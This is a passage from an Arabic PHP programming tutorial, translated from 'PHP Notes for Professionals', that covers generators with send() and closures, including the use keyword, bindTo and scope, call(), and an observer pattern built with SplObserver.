(!$timeout) { $timeout = yield $indexCurrentRun; //(1) $indexCurrentRun++; } yield 'X of bytes are missing. </br>'; } // بدء استخدام المولِّد $generatorDataFromServer = generateDataFromServerDemo (); foreach($generatorDataFromServer as $numberOfRuns) { if ($numberOfRuns < 10) { echo $numberOfRuns . "</br>"; } else { // إرسال البيانات إلى المولِّد $generatorDataFromServer->send(true); // الوصول إلى العنصر الأخير (التلميح إلى عدد البايتات المفقودة) echo $generatorDataFromServer->current(); } } في الموضع (1) تُمرَّر القيم إلى المستدعي، وفي المرة التالية يُستدعى المولِّد الذي يبدأ عند هذه التعليمة، إذا استخدمنا الدالة send()‎ فإنّ المتغير ‎$timeout سيأخذ هذه القيمة. خرج الشيفرة السابقة: 0 1 2 3 4 5 6 7 8 9 X bytes are missing المغلف (closure) الاستخدام الأساسي للمغلِّف يكافئ المغلِّف الدالة المجهولة (anonymous function) أي الدالة التي ليس لها اسم، حتى لو كان ذلك غير صحيح تقنيًا فإنّ سلوك المغلِّف نفس سلوك الدالة مع ميزات إضافية قليلة. مثال: <?php $myClosure = function() { echo 'Hello world!'; }; $myClosure(); // "Hello world!" تذكر أنّ ‎$myClosure هو نسخة من مغلِّف (closure) لذا يجب أن تنتبه لما يمكنك القيام به (اطلع على الرابط). الحالة التقليدية التي تحتاج فيها استخدام المغلِّف هي عندما تريد إعطاء شيء قابل للاستدعاء إلى دالة ما، مثل الدالة usort، في المثال التالي تُرتَّب المصفوفة حسب عدد الأبناء لكل أب: <?php $data = [ [ 'name' => 'John', 'nbrOfSiblings' => 2, ], [ 'name' => 'Stan', 'nbrOfSiblings' => 1, ], [ 'name' => 'Tom', 'nbrOfSiblings' => 3, ] ]; usort($data, function($e1, $e2) { if ($e1['nbrOfSiblings'] == $e2['nbrOfSiblings']) { return 0; } return $e1['nbrOfSiblings'] < $e2['nbrOfSiblings'] ? -1 : 1; }); var_dump($data); // ‫سيظهر في الخرج Stan ثم John ثم Tom استخدام متغيرات خارجية من الممكن استخدام متغير خارجي داخل المُغلِّف باستخدام الكلمة المفتاحية الخاصة use، مثال: <?php $quantity = 1; $calculator = function($number) use($quantity) { return $number + $quantity; }; var_dump($calculator(2)); // "3" ويمكنك أيضًا إنشاء دوال مغلِّفة ديناميكية، فمثلًا يمكنك إنشاء دالة تُرجع عملية حسابية معينة بالاعتماد على كمية تريد إضافتها: <?php function createCalculator($quantity) { return function($number) use($quantity) { return $number + $quantity; }; } $calculator1 = createCalculator(1); $calculator2 = createCalculator(2); var_dump($calculator1(2)); // "3" var_dump($calculator2(2)); // "4" الربط الأساسي لمغلِّف كما لاحظت سابقًا فإنّ المغلِّف هو نسخة من الصنف Closure ويمكن استدعاء توابع مختلفة عليه، مثل التابع bindTo الذي يُعطى مغلِّف ويرجع مغلِّفًا جديدًا مرتبطًا بكائن مُعطى، مثال: <?php $myClosure = function() { echo $this->property; }; class MyClass { public $property; public function __construct($propertyValue) { $this->property = $propertyValue; } } $myInstance = new MyClass('Hello world!'); $myBoundClosure = $myClosure->bindTo($myInstance); $myBoundClosure(); // "Hello world!" ربط المغلف والنطاق بفرض لدينا المثال التالي: <?php $myClosure = function() { echo $this->property; }; class MyClass { public $property; public function __construct($propertyValue) { $this->property = $propertyValue; } } $myInstance = new MyClass('Hello world!'); $myBoundClosure = $myClosure->bindTo($myInstance); $myBoundClosure(); // "Hello world!" إذا حاولت تغيير مرئية الخاصيّة إلى محميّة (protected) أو خاصة (private)، ستحصل على خطأ فادح يشير إلى أنّه لا يمكنك الوصول إلى هذه الخاصيّة، وحتى لو كان المغلِّف مرتبطًا بالكائن فإنّ النطاق الذي يُنفَّذ فيه المغلِّف ليس بحاجة ليكون لديه إمكانية الوصول ولهذا السبب نستخدم المعامل الثاني للتابع bindTo. الطريقة الوحيدة لتكون الخاصيّة الخاصة (private) قابلة للوصول هي الوصول إليها من النطاق الذي يسمح بذلك، أي نطاق الصنف. في مثال الشيفرة السابق لم يُحدَّد النطاق مما يعني أنّ المغلِّف يُنفَّذ في نفس النطاق الذي أُنشئَ فيه، لنغيّر هذا: <?php $myClosure = function() { echo $this->property; }; class MyClass { private $property; public function __construct($propertyValue) { $this->property = $propertyValue; } } $myInstance = new MyClass('Hello world!'); $myBoundClosure = $myClosure->bindTo($myInstance, MyClass::class); $myBoundClosure(); // "Hello world!" إذا لم يُستخدم المعامل الثاني فإنّ المُغلِّف يُنفَّذ في نفس السياق الذي أُنشئ فيه، فمثلًا إذا أُنشئ المغلِّف داخل تابع صنف والذي يُنفَّذ في سياق كائن سيكون له نفس نطاق هذا التابع: <?php class MyClass { private $property; public function __construct($propertyValue) { $this->property = $propertyValue; } public function getDisplayer() { return function() { echo $this->property; }; } } $myInstance = new MyClass('Hello world!'); $displayer = $myInstance->getDisplayer(); $displayer(); // "Hello world!" ربط مغلِّف لاستدعاء واحد بدءًا من الإصدار PHP7 أصبح من الممكن ربط مغلِّف باستدعاء واحد فقط بفضل التابع call، مثال: <?php class MyClass { private $property; public function __construct($propertyValue) { $this->property = $propertyValue; } } $myClosure = function() { echo $this->property; }; $myInstance = new MyClass('Hello world!'); $myClosure->call($myInstance); // "Hello world!" لا داعي للقلق بشأن النطاق على عكس التابع bindTo، إذ أنّ النطاق المستخدم لهذا الاستدعاء هو نفس المستخدم عند الوصول إلى أو تنفيذ خاصية ‎$myInstance. استخدام المغلِّفات لتنفيذ نمط المراقِب بشكل عام المراقب (observer) هو صنف بتابع محدد يُستدعى عندما يحدث إجراء على الكائن المُراقَب، في بعض الحالات قد تكون المغلِّفات كافية لتنفيذ نمط تصميم المراقب. إليك مثال تفصيلي لمثل هذا التنفيذ، لنصرّح أولًا عن صنف الهدف منه هو إخبار المراقبين عند تغيّر خاصيّاتهم. <?php class ObservedStuff implements SplSubject { protected $property; protected $observers = []; public function attach(SplObserver $observer) { $this->observers[] = $observer; return $this; } public function detach(SplObserver $observer) { if (false !== $key = array_search($observer, $this->observers, true)) { unset($this->observers[$key]); } } public function notify() { foreach ($this->observers as $observer) { $observer->update($this); } } public function getProperty() { return $this->property; } public function setProperty($property) { $this->property = $property; $this->notify(); } } ثم نصرّح عن الصنف الذي سيمثّل المراقبين المختلفين: <?php class NamedObserver implements SplObserver { protected $name; protected $closure; public function __construct(Closure $closure, $name) { $this->closure = $closure->bindTo($this, $this); $this->name = $name; } public function update(SplSubject $subject) { $closure = $this->closure; $closure($subject); } } لنبدأ بالاختبار الآن: <?php $o = new ObservedStuff; $observer1 = function(SplSubject $subject) { echo $this->name, ' has been notified! New property value: ', $subject->getProperty(), "\n"; }; $observer2 = function(SplSubject $subject) { echo $this->name, ' has been notified! New property value: ', $subject->getProperty(), "\n"; }; $o->attach(new NamedObserver($observer1, 'Observer1')) ->attach(new NamedObserver($observer2, 'Observer2')); $o->setProperty('Hello world!'); /* Observer1 has been notified! New property value: Hello world! Observer2 has been notified! New property value: Hello world! */ لاحظ أنّ هذا المثال يعمل لأنّ المراقبين يتشاركون نفس الطبيعة (كلاهما "named observers"). ترجمة -وبتصرف- للفصول [Generators - Closure] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: التعامل مع الروابط URL في PHP المقال السابق: المرشحات ودوال المرشح (Filter) المعقمة في PHP
×
×
  • أضف...